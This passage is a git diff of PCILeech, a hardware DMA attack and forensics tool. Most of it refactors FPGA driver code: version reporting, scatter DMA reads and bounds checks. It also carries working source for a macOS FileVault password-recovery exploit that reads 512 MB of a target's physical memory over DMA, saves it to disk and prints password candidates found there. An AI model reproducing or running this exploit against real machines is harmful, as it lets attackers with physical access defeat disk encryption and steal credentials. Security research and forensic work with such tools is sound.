+// +#ifndef __DEVICEFILE_H__ +#define __DEVICEFILE_H__ +#include "pcileech.h" + +/* +* Open a "connection" to the file. +* -- ctx +* -- result +*/ +BOOL DeviceFile_Open(_Inout_ PPCILEECH_CONTEXT ctx); + +#endif /* __DEVICEFILE_H__ */ diff --git a/pcileech/devicefpga.c b/pcileech/devicefpga.c index b635325..48b5fbf 100644 --- a/pcileech/devicefpga.c +++ b/pcileech/devicefpga.c @@ -17,8 +17,9 @@ // FPGA defines below. //------------------------------------------------------------------------------- -#define FPGA_CMD_VERSION 0x01 -#define FPGA_CMD_ID 0x03 +#define FPGA_CMD_VERSION_MAJOR 0x01 +#define FPGA_CMD_DEVICE_ID 0x03 +#define FPGA_CMD_VERSION_MINOR 0x05 #define ENDIAN_SWAP_WORD(x) (x = (x << 8) | (x >> 8)) #define ENDIAN_SWAP_DWORD(x) (x = (x << 24) | ((x >> 8) & 0xff00) | ((x << 8) & 0xff0000) | (x >> 24)) @@ -107,25 +108,25 @@ const DEVICE_PERFORMANCE PERFORMANCE_PROFILES[PERFORMANCE_PROFILE_MAX + 1] = { .SZ_DEVICE_NAME = "AC701 / FT601", .PROBE_MAXPAGES = 0x400, .RX_FLUSH_LIMIT = 0xfffff000, - .MAX_SIZE_RX = 0x24000, + .MAX_SIZE_RX = 0x20000, .MAX_SIZE_TX = 0x8000, .DELAY_PROBE_READ = 500, .DELAY_PROBE_WRITE = 0, .DELAY_WRITE = 0, - .DELAY_READ = 200, + .DELAY_READ = 300, .RETRY_ON_ERROR = FALSE } }; typedef struct tdDEVICE_CONTEXT_FPGA { WORD wDeviceId; - WORD wFpgaVersion; + WORD wFpgaVersionMajor; + WORD wFpgaVersionMinor; WORD wFpgaID; BOOL phySupported; DEV_CFG_PHY phy; DEVICE_PERFORMANCE perf; BOOL isPrintTlp; - PTLP_CALLBACK_BUF_MRd pMRdBuffer; struct { PBYTE pb; DWORD cb; @@ -168,7 +169,9 @@ typedef struct tdDEVICE_CONTEXT_FPGA { UCHAR ucPipeID ); } dev; - BOOL(*hRxTlpCallbackFn)(_Inout_ PTLP_CALLBACK_BUF_MRd pBufferMrd, _In_ PBYTE pb, _In_ DWORD cb, _In_opt_ HANDLE hEventCompleted); + PVOID pMRdBufferX; // NULL || PTLP_CALLBACK_BUF_MRd || PTLP_CALLBACK_BUF_MRd_2 + VOID(*hRxTlpCallbackFn)(_Inout_ PVOID pBufferMrd, _In_ PBYTE pb, _In_ DWORD cb); + BYTE RxEccBit; } DEVICE_CONTEXT_FPGA, *PDEVICE_CONTEXT_FPGA; // STRUCT FROM FTD3XX.h @@ -315,13 +318,13 @@ BOOL DeviceFPGA_GetSetPHY(_In_ PDEVICE_CONTEXT_FPGA ctx, _In_ BOOL isUpdate) ctx->phy.tp_cfg = 1; ctx->phy.tp = 4; *(PQWORD)pbTx = _byteswap_uint64(*(PQWORD)&ctx->phy); - status = ctx->dev.pfnFT_WritePipe(ctx->dev.hFTDI, 0x02, pbTx, 16, &cbRxTx, NULL); + status = ctx->dev.pfnFT_WritePipe(ctx->dev.hFTDI, 0x02, pbTx, sizeof(pbTx), &cbRxTx, NULL); if(status) { return FALSE; } Sleep(10); } *(PQWORD)&ctx->phy = 0; *(PQWORD)pbTx = 0x7731000000000000; // phy read (3) + cfg (1) + magic (77) - status = ctx->dev.pfnFT_WritePipe(ctx->dev.hFTDI, 0x02, pbTx, 16, &cbRxTx, NULL); + status = ctx->dev.pfnFT_WritePipe(ctx->dev.hFTDI, 0x02, pbTx, sizeof(pbTx), &cbRxTx, NULL); if(status) { return FALSE; } Sleep(10); status = ctx->dev.pfnFT_ReadPipe(ctx->dev.hFTDI, 0x82, pbRx, 0x1000, &cbRxTx, NULL); @@ -329,7 +332,7 @@ BOOL DeviceFPGA_GetSetPHY(_In_ PDEVICE_CONTEXT_FPGA ctx, _In_ BOOL isUpdate) for(i = 0; i < cbRxTx; i += 32) { while(*(PDWORD)(pbRx + i) == 0x55556666) { // skip over ftdi workaround dummy fillers i += 4; - if(i > cbRxTx - 32) { return FALSE; } + if(i + 32 > cbRxTx) { return FALSE; } } dwStatus = *(PDWORD)(pbRx + i); pdwData = (PDWORD)(pbRx + i + 4); @@ -371,18 +374,21 @@ VOID DeviceFPGA_GetDeviceID_FpgaVersion(_In_ PDEVICE_CONTEXT_FPGA ctx) { DWORD status; DWORD cbTX, cbRX, i, j; - PBYTE pbRX = LocalAlloc(0, 0x01000000); + PBYTE pbRX; DWORD dwStatus, dwData, cdwCfg = 0; PDWORD pdwData; - BYTE pbTX[24] = { + BYTE pbTX[32] = { // cfg status: (pcie bus,dev,fn id) 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x77, - // cmd msg: FPGA bitstream version + // cmd msg: FPGA bitstream version (major) 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x03, 0x77, + // cmd msg: FPGA bitstream version (minor) + 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x03, 0x77, // cmd msg: FPGA bitstream device id 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x03, 0x77 }; - status = ctx->dev.pfnFT_WritePipe(ctx->dev.hFTDI, 0x02, pbTX, 24, &cbTX, NULL); + if(!(pbRX = LocalAlloc(0, 0x01000000))) { return; } + status = ctx->dev.pfnFT_WritePipe(ctx->dev.hFTDI, 0x02, pbTX, sizeof(pbTX), &cbTX, NULL); if(status) { goto fail; } Sleep(10); status = ctx->dev.pfnFT_ReadPipe(ctx->dev.hFTDI, 0x82, pbRX, 0x01000000, &cbRX, NULL); @@ -390,7 +396,7 @@ VOID DeviceFPGA_GetDeviceID_FpgaVersion(_In_ PDEVICE_CONTEXT_FPGA ctx) for(i = 0; i < cbRX; i += 32) { while(*(PDWORD)(pbRX + i) == 0x55556666) { // skip over ftdi workaround dummy fillers i += 4; - if(i > cbRX - 32) { goto fail; } + if(i + 32 > cbRX) { goto fail; } } dwStatus = *(PDWORD)(pbRX + i); pdwData = (PDWORD)(pbRX + i + 4); @@ -398,11 +404,16 @@ VOID DeviceFPGA_GetDeviceID_FpgaVersion(_In_ PDEVICE_CONTEXT_FPGA ctx) for(j = 0; j < 7; j++) { dwData = *pdwData; if((dwStatus & 0x03) == 0x03) { // CMD REPLY (or filler) - if((dwData >> 24) == FPGA_CMD_VERSION) { // FPGA bitstream version - ctx->wFpgaVersion = (WORD)dwData; - } - if((dwData >> 24) == FPGA_CMD_ID) { // FPGA bitstream device id - ctx->wFpgaID = (WORD)dwData; + switch(dwData >> 24) { + case FPGA_CMD_VERSION_MAJOR: + ctx->wFpgaVersionMajor = (WORD)dwData; + break; + case FPGA_CMD_VERSION_MINOR: + ctx->wFpgaVersionMinor = (WORD)dwData; + break; + case FPGA_CMD_DEVICE_ID: + ctx->wFpgaID = (WORD)dwData; + break; } } if((dwStatus & 0x03) == 0x01) { // PCIe CFG REPLY @@ -414,7 +425,7 @@ VOID DeviceFPGA_GetDeviceID_FpgaVersion(_In_ PDEVICE_CONTEXT_FPGA ctx) dwStatus >>= 4; } } - ctx->phySupported = (ctx->wFpgaVersion >= 3) ? DeviceFPGA_GetSetPHY(ctx, FALSE) : FALSE; + ctx->phySupported = (ctx->wFpgaVersionMajor >= 3) ? DeviceFPGA_GetSetPHY(ctx, FALSE) : FALSE; fail: LocalFree(pbRX); } @@ -502,7 +513,7 @@ VOID DeviceFPGA_RxTlpSynchronous(_In_ PDEVICE_CONTEXT_FPGA ctx) for(i = 0; i < ctx->rxbuf.cb; i += 32) { // index in 64-bit (QWORD) while(*(PDWORD)(ctx->rxbuf.pb + i) == 0x55556666) { // skip over ftdi workaround dummy fillers i += 4; - if(i > ctx->rxbuf.cb - 32) { return; } + if(i + 32 > ctx->rxbuf.cb) { return; } } dwStatus = *(PDWORD)(ctx->rxbuf.pb + i); pdwData = (PDWORD)(ctx->rxbuf.pb + i + 4); @@ -521,10 +532,10 @@ VOID DeviceFPGA_RxTlpSynchronous(_In_ PDEVICE_CONTEXT_FPGA ctx) TLP_Print(pbTlp, cdwTlp << 2, FALSE); } if(ctx->hRxTlpCallbackFn) { - ctx->hRxTlpCallbackFn(ctx->pMRdBuffer, pbTlp, cdwTlp << 2, NULL); + ctx->hRxTlpCallbackFn(ctx->pMRdBufferX, pbTlp, cdwTlp << 2); } } else { - printf("Device Info: SP605 / FT601: Bad PCIe TLP received! Should not happen!\n"); + printf("Device Info: FPGA: Bad PCIe TLP received! Should not happen!\n"); } cdwTlp = 0; } @@ -534,74 +545,107 @@ VOID DeviceFPGA_RxTlpSynchronous(_In_ PDEVICE_CONTEXT_FPGA ctx) } } -BOOL DeviceFPGA_ReadDMA_Impl(_Inout_ PPCILEECH_CONTEXT ctxPcileech, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb) +VOID DeviceFPGA_ReadScatterDMA_Impl(_Inout_ PPCILEECH_CONTEXT ctxPcileech, _Inout_ PPDMA_IO_SCATTER_HEADER ppDMAs, _In_ DWORD cpDMAs) { PDEVICE_CONTEXT_FPGA ctx = (PDEVICE_CONTEXT_FPGA)ctxPcileech->hDevice; - TLP_CALLBACK_BUF_MRd rxbuf; - DWORD tx[4], o, i; - BOOL is32, isFlush; + TLP_CALLBACK_BUF_MRd_SCATTER rxbuf; + DWORD tx[4] = { 0 }; + DWORD o, i, j, cb, cbFlush, cbTotalInCycle = 0; + BOOL isAlgorithmReadTiny; + BOOL is32; PTLP_HDR_MRdWr64 hdrRd64 = (PTLP_HDR_MRdWr64)tx; PTLP_HDR_MRdWr32 hdrRd32 = (PTLP_HDR_MRdWr32)tx; - if(cb > ctx->perf.MAX_SIZE_RX) { return FALSE; } - if(qwAddr % 0x1000) { return FALSE; } - if((cb >= 0x1000) && (cb % 0x1000)) { return FALSE; } - if((cb < 0x1000) && (cb % 0x8)) { return FALSE; } - // prepare - rxbuf.cb = 0; - rxbuf.pb = pb; - rxbuf.cbMax = cb; - ctx->pMRdBuffer = &rxbuf; - ctx->hRxTlpCallbackFn = TLP_CallbackMRd; - // transmit TLPs - for(o = 0; o < cb; o += 0x1000) { - memset(tx, 0, 16); - is32 = qwAddr + o < 0x100000000; - if(is32) { - hdrRd32->h.TypeFmt = TLP_MRd32; - hdrRd32->h.Length = (WORD)((cb < 0x1000) ? cb >> 2 : 0); - hdrRd32->RequesterID = ctx->wDeviceId; - hdrRd32->Tag = (BYTE)(o >> 12); - hdrRd32->FirstBE = 0xf; - hdrRd32->LastBE = 0xf; - hdrRd32->Address = (DWORD)(qwAddr + o); - } else { - hdrRd64->h.TypeFmt = TLP_MRd64; - hdrRd64->h.Length = (WORD)((cb < 0x1000) ? cb >> 2 : 0); - hdrRd64->RequesterID = ctx->wDeviceId; - hdrRd64->Tag = (BYTE)(o >> 12); - hdrRd64->FirstBE = 0xf; - hdrRd64->LastBE = 0xf; - hdrRd64->AddressHigh = (DWORD)((qwAddr + o) >> 32); - hdrRd64->AddressLow = (DWORD)(qwAddr + o); - } - for(i = 0; i < 4; i++) { - ENDIAN_SWAP_DWORD(tx[i]); - } - isFlush = ((o % ctx->perf.RX_FLUSH_LIMIT) == (ctx->perf.RX_FLUSH_LIMIT - 0x1000)); - if(isFlush) { - DeviceFPGA_TxTlp(ctx, (PBYTE)tx, is32 ? 12 : 16, FALSE, TRUE); - usleep(ctx->perf.DELAY_WRITE); - } else { - DeviceFPGA_TxTlp(ctx, (PBYTE)tx, is32 ? 12 : 16, FALSE, FALSE); + PDMA_IO_SCATTER_HEADER pDMA; + BYTE bTag; + isAlgorithmReadTiny = (1 == ctxPcileech->cfg->DeviceOpt[3].qwValue); + i = 0; + ctx->pMRdBufferX = &rxbuf; + while(i < cpDMAs) { + // Prepare callback buffer + ctx->RxEccBit = ctx->RxEccBit ? 0 : 1; + rxbuf.bEccBit = ctx->RxEccBit; + rxbuf.cbReadTotal = 0; + rxbuf.cph = cpDMAs - i; + rxbuf.pph = ppDMAs + i; + ctx->hRxTlpCallbackFn = TLP_CallbackMRd_Scatter; + // Transmit TLPs + cbFlush = 0; + cbTotalInCycle = 0; + bTag = (ctx->RxEccBit ? 0x80 : 0) + (isAlgorithmReadTiny ? 0x40 : 0); + for(; i < cpDMAs; i++) { + pDMA = *(ppDMAs + i); + if((pDMA->cbMax <= pDMA->cb) || (pDMA->cbMax % 8) || (pDMA->cbMax > 0x1000)) { // already completed or unsupported size -> skip over + bTag += isAlgorithmReadTiny ? 0x20 : 1; + if(!(bTag & 0x3f)) { break; } + continue; + } + cbTotalInCycle += pDMA->cbMax; + if(cbTotalInCycle > ctx->perf.MAX_SIZE_RX) { break; } // over max size -> break loop and read result + o = 0; + while(o < pDMA->cbMax) { + cb = isAlgorithmReadTiny ? 0x80 : pDMA->cbMax; + is32 = pDMA->qwA + o < 0x100000000; + if(is32) { + hdrRd32->h.TypeFmt = TLP_MRd32; + hdrRd32->h.Length = (WORD)((cb < 0x1000) ? cb >> 2 : 0); + hdrRd32->RequesterID = ctx->wDeviceId; + hdrRd32->Tag = bTag; + hdrRd32->FirstBE = 0xf; + hdrRd32->LastBE = 0xf; + hdrRd32->Address = (DWORD)(pDMA->qwA + o); + } else { + hdrRd64->h.TypeFmt = TLP_MRd64; + hdrRd64->h.Length = (WORD)((cb < 0x1000) ? cb >> 2 : 0); + hdrRd64->RequesterID = ctx->wDeviceId; + hdrRd64->Tag = bTag; + hdrRd64->FirstBE = 0xf; + hdrRd64->LastBE = 0xf; + hdrRd64->AddressHigh = (DWORD)((pDMA->qwA + o) >> 32); + hdrRd64->AddressLow = (DWORD)(pDMA->qwA + o); + } + for(j = 0; j < 4; j++) { + ENDIAN_SWAP_DWORD(tx[j]); + } + cbFlush += cb; + if((cbFlush >= ctx->perf.RX_FLUSH_LIMIT) || (isAlgorithmReadTiny && (cbFlush >= 0x1000))) { + DeviceFPGA_TxTlp(ctx, (PBYTE)tx, is32 ? 12 : 16, FALSE, TRUE); + usleep(ctx->perf.DELAY_WRITE); + cbFlush = 0; + } else { + DeviceFPGA_TxTlp(ctx, (PBYTE)tx, is32 ? 12 : 16, FALSE, FALSE); + } + o += cb; + bTag++; + } + if(isAlgorithmReadTiny && ((bTag & 0x3f) < 0x20)) { bTag = 0x20; } + if(!(bTag & 0x3f)) { break; } } + // Receive TLPs + DeviceFPGA_TxTlp(ctx, NULL, 0, TRUE, TRUE); + usleep(ctx->perf.DELAY_READ); + DeviceFPGA_RxTlpSynchronous(ctx); } - DeviceFPGA_TxTlp(ctx, NULL, 0, TRUE, TRUE); - usleep(ctx->perf.DELAY_READ); - DeviceFPGA_RxTlpSynchronous(ctx); - ctx->pMRdBuffer = NULL; - return rxbuf.cb >= rxbuf.cbMax; + ctx->pMRdBufferX = NULL; } -BOOL DeviceFPGA_ReadDMA(_Inout_ PPCILEECH_CONTEXT ctxPcileech, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb) +VOID DeviceFPGA_ReadScatterDMA(_Inout_ PPCILEECH_CONTEXT ctxPcileech, _Inout_ PPDMA_IO_SCATTER_HEADER ppDMAs, _In_ DWORD cpDMAs, _Out_opt_ PDWORD pchDMAsRead) { PDEVICE_CONTEXT_FPGA ctx = (PDEVICE_CONTEXT_FPGA)ctxPcileech->hDevice; - BOOL result; - result = DeviceFPGA_ReadDMA_Impl(ctxPcileech, qwAddr, pb, cb); - if(!result && (cb <= 0x1000) && ctx->perf.RETRY_ON_ERROR) { - Sleep(100); - result = DeviceFPGA_ReadDMA_Impl(ctxPcileech, qwAddr, pb, cb); + DWORD i = 0, c = 0; + DeviceFPGA_ReadScatterDMA_Impl(ctxPcileech, ppDMAs, cpDMAs); + if(pchDMAsRead || ctx->perf.RETRY_ON_ERROR) { + while(i < cpDMAs) { + if((ppDMAs[i]->cb < ppDMAs[i]->cbMax) && ctx->perf.RETRY_ON_ERROR) { + Sleep(100); + DeviceFPGA_ReadScatterDMA_Impl(ctxPcileech, ppDMAs, cpDMAs); + } + c += (ppDMAs[i]->cb >= ppDMAs[i]->cbMax) ? 1 : 0; + i++; + } + } + if(pchDMAsRead) { + *pchDMAsRead = c; } - return result; } VOID DeviceFPGA_ProbeDMA_Impl(_Inout_ PPCILEECH_CONTEXT ctxPcileech, _In_ QWORD qwAddr, _In_ DWORD cPages, _Inout_ __bcount(cPages) PBYTE pbResultMap) @@ -624,7 +668,7 @@ VOID DeviceFPGA_ProbeDMA_Impl(_Inout_ PPCILEECH_CONTEXT ctxPcileech, _In_ QWORD bufMRd.cb = 0; bufMRd.pb = pbResultMap; bufMRd.cbMax = cPages; - ctx->pMRdBuffer = &bufMRd; + ctx->pMRdBufferX = &bufMRd; ctx->hRxTlpCallbackFn = TLP_CallbackMRdProbe; // transmit TLPs for(i = 0; i < cPages; i++) { @@ -664,7 +708,7 @@ VOID DeviceFPGA_ProbeDMA_Impl(_Inout_ PPCILEECH_CONTEXT ctxPcileech, _In_ QWORD usleep(ctx->perf.DELAY_PROBE_READ); DeviceFPGA_RxTlpSynchronous(ctx); ctx->hRxTlpCallbackFn = NULL; - ctx->pMRdBuffer = NULL; + ctx->pMRdBufferX = NULL; } VOID DeviceFPGA_ProbeDMA(_Inout_ PPCILEECH_CONTEXT ctxPcileech, _In_ QWORD qwAddr, _In_ DWORD cPages, _Inout_ __bcount(cPages) PBYTE pbResultMap) @@ -794,7 +838,7 @@ BOOL DeviceFPGA_Open(_Inout_ PPCILEECH_CONTEXT ctxPcileech) ctx->txbuf.cbMax = ctx->perf.MAX_SIZE_TX + 0x10000; ctx->txbuf.pb = LocalAlloc(0, ctx->txbuf.cbMax); if(!ctx->txbuf.pb) { goto fail; } - ctx->isPrintTlp = ctxPcileech->cfg->fVerboseExtra; + ctx->isPrintTlp = ctxPcileech->cfg->fVerboseExtraTlp; // set callback functions and fix up config ctxPcileech->cfg->dev.tp = PCILEECH_DEVICE_FPGA; ctxPcileech->cfg->dev.qwMaxSizeDmaIo = ctx->perf.MAX_SIZE_RX; @@ -802,13 +846,22 @@ BOOL DeviceFPGA_Open(_Inout_ PPCILEECH_CONTEXT ctxPcileech) ctxPcileech->cfg->dev.fPartialPageReadSupported = TRUE; ctxPcileech->cfg->dev.pfnClose = DeviceFPGA_Close; ctxPcileech->cfg->dev.pfnProbeDMA = ctx->perf.PROBE_MAXPAGES ? DeviceFPGA_ProbeDMA : NULL; - ctxPcileech->cfg->dev.pfnReadDMA = DeviceFPGA_ReadDMA; + ctxPcileech->cfg->dev.pfnReadScatterDMA = DeviceFPGA_ReadScatterDMA; ctxPcileech->cfg->dev.pfnWriteDMA = DeviceFPGA_WriteDMA; ctxPcileech->cfg->dev.pfnWriteTlp = DeviceFPGA_WriteTlp; ctxPcileech->cfg->dev.pfnListenTlp = DeviceFPGA_ListenTlp; // return if(ctxPcileech->cfg->fVerbose) { - printf("FPGA: Device Info: %s PCIe gen%i x%i [%i,%i,%i]\n", ctx->perf.SZ_DEVICE_NAME, DeviceFPGA_PHY_GetPCIeGen(ctx), DeviceFPGA_PHY_GetLinkWidth(ctx), ctx->perf.DELAY_READ, ctx->perf.DELAY_WRITE, ctx->perf.DELAY_PROBE_READ); + printf( + "FPGA: Device Info: %s PCIe gen%i x%i [%i,%i,%i] [v%i.%i]\n", + ctx->perf.SZ_DEVICE_NAME, + DeviceFPGA_PHY_GetPCIeGen(ctx), + DeviceFPGA_PHY_GetLinkWidth(ctx), + ctx->perf.DELAY_READ, + ctx->perf.DELAY_WRITE, + ctx->perf.DELAY_PROBE_READ, + ctx->wFpgaVersionMajor, + ctx->wFpgaVersionMinor); } return TRUE; fail: diff --git a/pcileech/executor.c b/pcileech/executor.c index 74f7b41..f9c19a0 100644 --- a/pcileech/executor.c +++ b/pcileech/executor.c @@ -233,7 +233,7 @@ BOOL Exec_ExecSilent(_Inout_ PPCILEECH_CONTEXT ctx, _In_ LPSTR szShellcodeName, //------------------------------------------------ // 5: Display/Write additional output. //------------------------------------------------ - if(pcbOut) { + if(ppbOut && pcbOut) { *pcbOut = pk->dataOutExtraLength; *ppbOut = (PBYTE)LocalAlloc(0, SIZE_PAGE_ALIGN_4K(*pcbOut)); if(!*ppbOut) { result = FALSE; goto fail; } diff --git a/pcileech/extra.c b/pcileech/extra.c index 4f25907..9733fae 100644 --- a/pcileech/extra.c +++ b/pcileech/extra.c @@ -1,6 +1,6 @@ // extra.c : implementation related various extra functionality such as exploits. // -// (c) Ulf Frisk, 2016, 2017 +// (c) Ulf Frisk, 2016-2018 // Author: Ulf Frisk, pcileech@frizk.net // #include "extra.h" @@ -9,202 +9,221 @@ VOID Extra_MacFVRecover_ReadMemory_Optimized(_Inout_ PPCILEECH_CONTEXT ctx, _Inout_ PBYTE pb512M) { - DWORD i, dwOffsets[] = { - 0x74000000, 0x75000000, 0x76000000, 0x77000000, 0x78000000, 0x79000000, 0x7a000000, 0x7b000000, - 0x7c000000, 0x7d000000, 0x7e000000, 0x7f000000, 0x80000000, 0x81000000, 0x82000000, 0x83000000, - 0x84000000, 0x85000000, 0x86000000, 0x87000000, 0x70000000, 0x71000000, 0x72000000, 0x73000000, - 0x88000000, 0x89000000, 0x8a000000, 0x8b000000, 0x8c000000, 0x8d000000, 0x8e000000, 0x8f000000 - }; - for(i = 0; i < sizeof(dwOffsets) / sizeof(DWORD); i++) { - DeviceReadDMAEx(ctx, dwOffsets[i], pb512M + dwOffsets[i] - 0x70000000, 0x01000000, NULL, PCILEECH_FLAG_MEM_EX_FASTFAIL); - } + DWORD i, dwOffsets[] = { + 0x74000000, 0x75000000, 0x76000000, 0x77000000, 0x78000000, 0x79000000, 0x7a000000, 0x7b000000, + 0x7c000000, 0x7d000000, 0x7e000000, 0x7f000000, 0x80000000, 0x81000000, 0x82000000, 0x83000000, + 0x84000000, 0x85000000, 0x86000000, 0x87000000, 0x70000000, 0x71000000, 0x72000000, 0x73000000, + 0x88000000, 0x89000000, 0x8a000000, 0x8b000000, 0x8c000000, 0x8d000000, 0x8e000000, 0x8f000000 + }; + for(i = 0; i < sizeof(dwOffsets) / sizeof(DWORD); i++) { + DeviceReadDMAEx(ctx, dwOffsets[i], pb512M + dwOffsets[i] - 0x70000000, 0x01000000, NULL, PCILEECH_FLAG_MEM_EX_FASTFAIL); + } } BOOL Extra_MacFVRecover_Analyze(_In_ PBYTE pb512M) { - DWORD i, o, dwCandidate; - PBYTE pb; - BOOL isFound = 0; - const BYTE CONST_ZERO_32[32] = { 0 }; - BYTE pbLast[32]; - for(o = 0; o < 0x20000000; o += 0x1000) { - pb = (PBYTE)(pb512M + o); - if(*(PDWORD)pb != 0x30646870) { // signature "phd0" - continue; // not correct signature -> skip this page. - } - dwCandidate = 0; - for(i = 0x18; i < 0x800; i += 8) { - if((*(PQWORD)(pb + i) & 0xff00ff00ff00ff00)) { - break; // non ascii chars in qword block -> skip this page. - } - if(dwCandidate == 0) { - if(!*(PQWORD)(pb + i)) { - continue; // empty block -> page is still a candidate. - } - if(0 == pb[i + 6]) { - break; // less than 4 chars in pwd candidate -> skip this page. - } - if(*(PQWORD)(pb + i) == 0x0043005f00520047) { - break; // known false positive starts with GR_C -> skip this page. - } - dwCandidate = i; - continue; - } - if(0 == *(PQWORD)(pb + i)) { - if(memcmp(pb + i, CONST_ZERO_32, 32)) { - break; // not 32 bytes of zero after pwd candidate -> skip this page. - } - // password candidate found!!! - isFound = TRUE; - if(memcmp(pbLast, pb + dwCandidate, 32)) { // duplicate removal - memcpy(pbLast, pb + dwCandidate, 32); - printf("MAC_FVRECOVER: PASSWORD CANDIDATE: %S\n", (LPWSTR)(pb + dwCandidate)); - } - break; - } - } - } - return isFound; + DWORD i, o, dwCandidate; + PBYTE pb; + BOOL isFound = 0; + const BYTE CONST_ZERO_32[32] = { 0 }; + BYTE pbLast[32]; + memset(pbLast, 0x00, 32); + for(o = 0; o < 0x20000000; o += 0x1000) { + pb = (PBYTE)(pb512M + o); + if(*(PDWORD)pb != 0x30646870) { // signature "phd0" + continue; // not correct signature -> skip this page. + } + dwCandidate = 0; + for(i = 0x18; i < 0x800; i += 8) { + if((*(PQWORD)(pb + i) & 0xff00ff00ff00ff00)) { + break; // non ascii chars in qword block -> skip this page. + } + if(dwCandidate == 0) { + if(!*(PQWORD)(pb + i)) { + continue; // empty block -> page is still a candidate. + } + if(0 == pb[i + 6]) { + break; // less than 4 chars in pwd candidate -> skip this page. + } + if(*(PQWORD)(pb + i) == 0x0043005f00520047) { + break; // known false positive starts with GR_C -> skip this page. + } + dwCandidate = i; + continue; + } + if(0 == *(PQWORD)(pb + i)) { + if(memcmp(pb + i, CONST_ZERO_32, 32)) { + break; // not 32 bytes of zero after pwd candidate -> skip this page. + } + // password candidate found!!! + isFound = TRUE; + if(memcmp(pbLast, pb + dwCandidate, 32)) { // duplicate removal + memcpy(pbLast, pb + dwCandidate, 32); + printf("MAC_FVRECOVER: PASSWORD CANDIDATE: %S\n", (LPWSTR)(pb + dwCandidate)); + } + break; + } + } + } + return isFound; } VOID Extra_MacFVRecover_SetOutFileName(_Inout_ PCONFIG pCfg) { - SYSTEMTIME st; - if(pCfg->szFileOut[0] == 0) { - GetLocalTime(&st); - _snprintf_s( - pCfg->szFileOut, - MAX_PATH, - _TRUNCATE, - "pcileech-mac-fvrecover-%i%02i%02i-%02i%02i%02i.raw", - st.wYear, - st.wMonth, - st.wDay, - st.wHour, - st.wMinute, - st.wSecond); - } + SYSTEMTIME st; + if(pCfg->szFileOut[0] == 0) { + GetLocalTime(&st); + _snprintf_s( + pCfg->szFileOut, + MAX_PATH, + _TRUNCATE, + "pcileech-mac-fvrecover-%i%02i%02i-%02i%02i%02i.raw", + st.wYear, + st.wMonth, + st.wDay, + st.wHour, + st.wMinute, + st.wSecond); + } } VOID Action_MacFilevaultRecover(_Inout_ PPCILEECH_CONTEXT ctx, _In_ BOOL IsRebootRequired) { - FILE *pFile = NULL; - PBYTE pbBuffer512M; - // Allocate 512 MB buffer - if(!(pbBuffer512M = LocalAlloc(LMEM_ZEROINIT, 0x20000000))) { - printf("MAC_FVRECOVER: FAILED. Unable to allocate memory.\n"); - return; - } - if(IsRebootRequired) { - // Wait for target computer reboot (device will power cycle). - printf( - "MAC_FVRECOVER: WAITING ... please reboot ...\n" \ - " Please force a reboot of the mac by pressing CTRL+CMD+POWER\n" \ - " WARNING! This will not work in macOS Sierra 10.12.2 and later.\n"); - Util_WaitForPowerCycle(ctx); - } else { - // Wait for DMA read access to target computer. - printf("MAC_FVRECOVER: WAITING for DMA access ...\n"); - Util_WaitForPowerOn(ctx); - } - // Try read 512M of memory from in the range: [0x70000000..0x90000000[. - printf("MAC_FVRECOVER: Continuing ...\n"); - Extra_MacFVRecover_ReadMemory_Optimized(ctx, pbBuffer512M); - // Try write to disk image. - printf("MAC_FVRECOVER: Writing partial memory contents to file ...\n"); - Extra_MacFVRecover_SetOutFileName(ctx->cfg); - if(!fopen_s(&pFile, ctx->cfg->szFileOut, "r") || pFile) { - printf("MAC_FVRECOVER: Error writing partial memory contents to file. File exists.\n"); - fclose(pFile); - pFile = NULL; - } else if(fopen_s(&pFile, ctx->cfg->szFileOut, "wb") || !pFile) { - printf("MAC_FVRECOVER: Error writing partial memory contents to file.\n"); - pFile = NULL; - } - else if(0x20000000 != fwrite(pbBuffer512M, 1, 0x20000000, pFile)) { - printf("MAC_FVRECOVER: Error writing partial memory contents to file.\n"); - } else { - printf("MAC_FVRECOVER: File: %s.\n", ctx->cfg->szFileOut); - } - // Analyze for possible password candidates. - printf("MAC_FVRECOVER: Analyzing ...\n"); - if(Extra_MacFVRecover_Analyze(pbBuffer512M)) { - printf("MAC_FVRECOVER: Completed.\n"); - } else { - printf("MAC_FVRECOVER: Failed.\n"); - } - // clean up. - LocalFree(pbBuffer512M); - if(pFile) { fclose(pFile); } + FILE *pFile = NULL; + PBYTE pbBuffer512M; + // Allocate 512 MB buffer + if(!(pbBuffer512M = LocalAlloc(LMEM_ZEROINIT, 0x20000000))) { + printf("MAC_FVRECOVER: FAILED. Unable to allocate memory.\n"); + return; + } + if(IsRebootRequired) { + // Wait for target computer reboot (device will power cycle). + printf( + "MAC_FVRECOVER: WAITING ... please reboot ...\n" \ + " Please force a reboot of the mac by pressing CTRL+CMD+POWER\n" \ + " WARNING! This will not work in macOS Sierra 10.12.2 and later.\n"); + Util_WaitForPowerCycle(ctx); + } else { + // Wait for DMA read access to target computer. + printf("MAC_FVRECOVER: WAITING for DMA access ...\n"); + Util_WaitForPowerOn(ctx); + } + // Try read 512M of memory from in the range: [0x70000000..0x90000000[. + printf("MAC_FVRECOVER: Continuing ...\n"); + Extra_MacFVRecover_ReadMemory_Optimized(ctx, pbBuffer512M); + // Try write to disk image. + printf("MAC_FVRECOVER: Writing partial memory contents to file ...\n"); + Extra_MacFVRecover_SetOutFileName(ctx->cfg); + if(!fopen_s(&pFile, ctx->cfg->szFileOut, "r") || pFile) { + printf("MAC_FVRECOVER: Error writing partial memory contents to file. File exists.\n"); + if(pFile) { fclose(pFile); } + pFile = NULL; + } else if(fopen_s(&pFile, ctx->cfg->szFileOut, "wb") || !pFile) { + printf("MAC_FVRECOVER: Error writing partial memory contents to file.\n"); + pFile = NULL; + } + else if(0x20000000 != fwrite(pbBuffer512M, 1, 0x20000000, pFile)) { + printf("MAC_FVRECOVER: Error writing partial memory contents to file.\n"); + } else { + printf("MAC_FVRECOVER: File: %s.\n", ctx->cfg->szFileOut); + } + // Analyze for possible password candidates. + printf("MAC_FVRECOVER: Analyzing ...\n"); + if(Extra_MacFVRecover_Analyze(pbBuffer512M)) { + printf("MAC_FVRECOVER: Completed.\n"); + } else { + printf("MAC_FVRECOVER: Failed.\n"); + } + // clean up. + LocalFree(pbBuffer512M); + if(pFile) { fclose(pFile); } } VOID 